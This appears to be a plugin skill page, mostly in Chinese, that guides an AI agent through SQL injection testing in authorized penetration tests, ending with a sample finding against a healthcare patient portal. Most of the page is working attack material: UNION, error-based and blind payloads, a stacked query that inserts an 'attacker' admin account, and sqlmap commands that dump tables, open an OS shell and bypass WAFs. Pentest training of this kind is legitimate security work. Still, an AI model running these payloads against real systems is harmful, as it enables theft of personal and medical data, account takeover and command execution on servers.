Identifies and exploits SQL injection vulnerabilities in web apps during authorized pentests using manual techniques (error, union, blind, time-based) and sqlmap on MySQL, PostgreSQL, MSSQL, Oracle.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 在授权渗透测试中,测试 Web 应用程序输入参数是否存在 SQL 注入漏洞
Identifies and exploits SQL injection vulnerabilities in web apps during authorized pentests using manual techniques and sqlmap across MySQL, PostgreSQL, MSSQL, Oracle.
Identifies and exploits SQL injection vulnerabilities in web apps using manual techniques and sqlmap for MySQL, PostgreSQL, MSSQL, Oracle during authorized pentests.
Uses sqlmap to detect and exploit SQL injection vulnerabilities in authorized web penetration tests, including scanning parameters, enumerating databases, dumping data, and testing OS access.
Share bugs, ideas, or general feedback.
不适用场景:未经书面授权的数据库测试、提取或泄露超出概念验证所需的实际客户数据,以及针对可能损坏数据完整性的生产数据库进行利用。
识别与数据库交互的参数:
')并观察响应。SQL 错误(如"You have an error in your SQL syntax"、"unterminated quoted string"、"ORA-01756")确认该参数在未过滤的情况下到达数据库' AND 1=1--(真条件)和 ' AND 1=2--(假条件)。如果响应不同(内容长度不同、返回数据不同、HTTP 状态不同),则该参数可注入'; WAITFOR DELAY '0:0:5'--(MSSQL)、' AND SLEEP(5)--(MySQL)或 '; SELECT pg_sleep(5)--(PostgreSQL)。5 秒响应延迟确认注入确定数据库引擎和版本,以选择适当的利用技术:
' AND VERSION()-- 或 ' AND @@version--' AND @@version-- 或 ' AND DB_NAME()--' AND version()--' AND banner FROM v$version--CONCAT('a','b') 或 'a' 'b',MSSQL 使用 'a'+'b',PostgreSQL 使用 'a'||'b',Oracle 使用 'a'||'b'# 和 -- ,MSSQL 使用 -- ,PostgreSQL 使用 -- ,Oracle 使用 -- 使用适合技术的方法利用已确认的注入点:
ORDER BY 确定列数(' ORDER BY 1--、' ORDER BY 2-- 等直到出现错误)。然后构造 UNION SELECT 提取数据:
' UNION SELECT NULL,username,password,NULL FROM users--
EXTRACTVALUE 或 UPDATEXML 将数据强制放入错误消息:
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)--
'; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--
使用 sqlmap 高效利用已确认的注入点:
sqlmap -u "https://target.com/page?id=1" --batch --random-agent 检测注入并识别数据库sqlmap -u "https://target.com/page?id=1" --dbs 列出所有数据库sqlmap -u "https://target.com/page?id=1" -D <database> --tables 列出表sqlmap -u "https://target.com/page?id=1" -D <database> -T users --dump --threads 5 提取表内容sqlmap -u "https://target.com/login" --data="username=test&password=test" -p username 测试 POST 参数sqlmap -u "https://target.com/page" --cookie="session=abc123; id=1*" --level 2 测试 Cookie 参数(用 * 标记可注入参数)sqlmap -u "https://target.com/page?id=1" --os-shell 尝试通过 xp_cmdshell(MSSQL)或 INTO OUTFILE(MySQL)执行命令sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between 绕过 WAF 过滤记录 SQL 注入漏洞的完整影响:
admin' OR 1=1-- 演示登录绕过,并记录被绕过的认证机制| 术语 | 定义 |
|---|---|
| SQL 注入 | 通过利用 SQL 查询中未经验证的用户输入来操控数据库操作、提取数据或执行管理操作的代码注入技术 |
| 基于 UNION 的 SQLi | 向原始查询附加 UNION SELECT 语句以在同一响应中从其他表提取数据的注入技术 |
| 盲注 SQL 注入 | 应用程序不直接返回查询结果的注入;攻击者通过布尔响应或时间延迟推断数据 |
| 参数化查询 | 预编译的 SQL 语句,用户输入作为参数传递而非拼接到查询字符串中,防止注入 |
| 二阶注入 | 恶意载荷被应用程序存储,在不同上下文或 SQL 查询中稍后执行的 SQL 注入 |
| 堆叠查询 | 在单个请求中执行以分号分隔的多个 SQL 语句,通过注入启用 INSERT、UPDATE 或 DELETE 操作 |
| WAF 绕过 | 使用编码、替代语法或分段逃避阻止常见 SQL 注入模式的 Web 应用防火墙规则的技术 |
背景:一家医疗机构的患者门户允许患者查看其医疗记录、预约和账单信息。该应用程序使用 PHP 后端和 MySQL 数据库。测试人员拥有有效的患者账户。
方法:
/appointment?id=4521ORDER BY 确定查询返回 7 列常见陷阱:
## 发现:预约详情参数中的 SQL 注入
**ID**: SQLI-001
**严重性**: 严重(CVSS 9.8)
**受影响 URL**: GET /appointment?id=4521
**参数**: id(GET 参数)
**数据库**: MySQL 8.0.32
**注入类型**: 基于错误、基于 UNION
**描述**:
预约详情页面直接将 'id' URL 参数拼接到 SQL 查询中,
未进行参数化或输入验证。这允许攻击者注入任意 SQL 语句,
并从数据库中的任何表提取数据。
**概念验证**:
请求:GET /appointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -
响应:在页面内容中返回管理员用户名和 MD5 密码哈希。
**可访问数据**:
- patients 表:15,247 条记录(姓名、出生日期、SSN、地址、电话)
- medical_records 表:43,891 条记录(诊断、处方、实验室结果)
- admin_users 表:5 个账户及 MD5 哈希密码
- billing 表:28,563 条记录(保险详情、支付信息)
**修复建议**:
1. 用参数化查询替换字符串拼接:
易受攻击:$query = "SELECT * FROM appointments WHERE id = " . $_GET['id'];
安全版本:$stmt = $pdo->prepare("SELECT * FROM appointments WHERE id = ?");
$stmt->execute([$_GET['id']]);
2. 实施输入验证,拒绝 id 参数的非整数值
3. 应用最小权限数据库权限(Web 应用程序用户只读权限)
4. 部署 WAF 规则检测和阻止 SQL 注入模式,作为纵深防御